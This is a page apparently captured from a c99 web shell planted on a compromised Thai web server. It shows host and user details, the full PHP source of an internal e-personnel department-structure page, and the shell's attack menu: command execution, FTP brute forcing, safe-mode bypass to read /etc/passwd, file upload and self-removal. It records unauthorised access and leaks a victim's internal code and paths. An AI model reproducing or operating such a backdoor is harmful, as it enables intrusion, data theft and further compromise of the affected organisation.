!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eperson/admin/   drwxr-xr-x
Free 52.3 GB of 127.8 GB (40.92%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     showdepttable.php (5.2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../class/clsTable.php";
include_once 
"../class/clsDepartment.php";
include_once 
"../class/clsPerson.php";
include_once 
"../class/clsEOpbri.php";
include_once 
"../link/function.php";
include_once 
"../class/clsdepttype.php";
$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EPERSON'], $GLOBALS['DBUSER_EPERSON'], $GLOBALS['DBPASS_EPERSON']);
$cC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDpT = new Department($oC);
$oDp = new Department($oC);
$oDP3 = new Department($oC);
$oDP2 = new Department($oC);
$oPS = new Person($oC);
$_SESSION['college'] = new EOpbri($cC);
$maxdate $oDP3->MaxDate();

?>
<html>
<head>
<title>โครงสร้างหน่วยงานสารบรรณ</title>
<meta http-equiv="Content-Type" content="text/html; charset=tis-620">

<link href="../source/style.css" rel="stylesheet" type="text/css">
<table width="100%" border="0" cellspacing="0" cellpadding="1" align="center" bgcolor="#F9FCFF">
    <tr>
        <td align="left" colspan="4"  height="22" valign="top">&nbsp;<a href="#" onClick="window.close()"><font size="2" face="Microsoft Sans Serif">[ปิดหน้าต่าง]</font></a></td>
    </tr>
    <tr><td align="right"><a href="printDeptTableHTML.php?deptDate=<? echo $deptDate?>" target="_blank"><img src="../picture/print.gif" width="15" height="14" border="0"></a>&nbsp;</td></tr>
</table>
<table width="100%" height="100%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#F9FCFF">
    <tr>
        <td valign="top"><br>
<label><div align="center">
<font size="2" color="<?=$GLOBALS['COLOR_FONT_4'];?>"><b>โครงสร้างหน่วยงานสารบรรณ&nbsp;<?php  if($deptDate==$maxdate && $maxdate !='0000-00-00'){   echo "<br>วันที่ยืนยันการใช้งาน&nbsp;".abbreDate(splitDateDb2($deptDate ,'/'))." (โครงสร้างปัจจุบัน)"; }else if($deptDate=='0000-00-00'){   echo "<br>(ยังไม่ยืนยันการใช้งานโครงสร้างนี้)"; }else{ echo "<br>วันที่ยืนยันการใช้งาน&nbsp;".abbreDate(splitDateDb2($deptDate ,'/'));   } ?></b></font>
    <?php
    $oT 
= new clsTable(array("ส่วนราชการภายใน","ประเภทของ<br>ส่วนราชการภายใน","รายละเอียด""Host วิทยาลัย"));
    
$oT->bgColor="#CCCCCC";
    
$oT->align="center";
    
$oDpT->searchdeptDate2($deptDate);
    
    
$rw=0;
    
    while (
$oDpT->GetRecord()){
        
ShowDeptM($oDpT->deptId,$deptDate);        
    }
    
    
//$oT->rowStart("","#ffffff");
    //$oT->addCell("");
    //$oT->rowEnd();
    
    
echo "<form name=ps method=post>";
    echo 
"<input type=hidden name=method value=''>";
    echo 
"<input type=hidden name=startyear value=''>";
    echo 
$oT->output();
    echo 
"</form>";
    
//////////////////////////////////////////
    
    
function ShowDeptM($deptId,$deptDate){
        global 
$oC$oT$Str$rw;

        
$oDp  = new Department($oC);
        
$oDpt= new Departmenttype($oC);
        
$oDp->SearchByKey($deptId);
        
$oDp->GetRecord();    
        
        
//$_data = $oDp->SearchByKey($deptId);
        //echo "<pre>"; print_r($oDp);
        
        
$_get_CollegeDetail $_SESSION['college']->getCollegeDetail();
        
//echo "<pre>"; print_r($_get_CollegeDetail);
        
$_tag_select_college .= "<select id=\"$deptId\" name=\"$deptId\" onchange=\"updateDept(this);\">
                                                        <option =\"0\">---เลือก Host สำหรับ Mapping---</option>\n"
;
            foreach(
$_get_CollegeDetail as $_key => $_val) {
                
$_selected = ($oDp->host_mapping==$_val['collegeHost'])    ? " selected" "";
                
$_tag_select_college .= "<option value='{\"deptId\":\"{$deptId}\", \"cID\":\"{$_val['cID']}\", \"collegeID\":\"{$_val['collegeID']}\", \"collegeHost\":\"{$_val['collegeHost']}\" }'$_selected>{$_val['collegeName']} [{$_val['collegeHost']}]</option>\n";
            }
        
$_tag_select_college .= "</select>";
    
        
/////////////////////////////////////////////
        
if ($oDp->deptLevel%2==0){                            
            
$bs="<b>";    
            
$be="</b>";    
        }
        
$lv =  $oDp->deptLevel+1;
        
$oDpt->SearchByKey($oDp->depttypeId);
        
$oDpt->GetRecord();
        
$dt $oDpt->depttypeName;
        
$det $oDp->deptDesc;
        
$tag_select_college = (preg_match("/สบช|วิทยาลัยพยาบาล|สถาบันพระบรมราชชนก|วพ.|วพบ.|วสส|อภัยภูเบศร|วทก.|คณะพยาบาลศาสตร์|คณะสาธารณสุขศาสตร์|สบช.|วทก|อภัยภูเบศ|วิทยาลัยเทคโนโลยี|สาธารณสุขศาสตร์|วิทยาลัย/"$oDp->deptName)) ? $_tag_select_college "";
        
$oT->addRow(array(str_repeat("<img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif><img src=../picture/blank.gif>"$oDp->deptLevel*2). $bs ."   ".$oDp->deptName."  "$be,$dt,$det$tag_select_college));
        
$oDp->RSmenuByDeptParentdeptDate($deptId,$deptDate);
        while (
$oDp->GetRecord()){
            
ShowDeptM($oDp->deptId,$deptDate);
        }
    }
    
?>
</div></td>
    </tr>
</table>

<script src="https://code.jquery.com/jquery-1.9.1.min.js"></script>
<script>
    $( document ).ready(function() {
        //console.log( "ready!" );
        //alert('xxxx');
        
    });

function updateDept(item) {
    //alert(item.value)
    $.post("ajaxservice.php?action=updateHost", {data: item.value}, function(result){
        if(result==true) {
            alert('Update host succeed!!!');
            //var inst = $('[data-remodal-id=modal]').remodal();
            //inst.open();
        }
      });
}

</script>

</body>
</html>
<?php
//showFooter();
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0057 ]--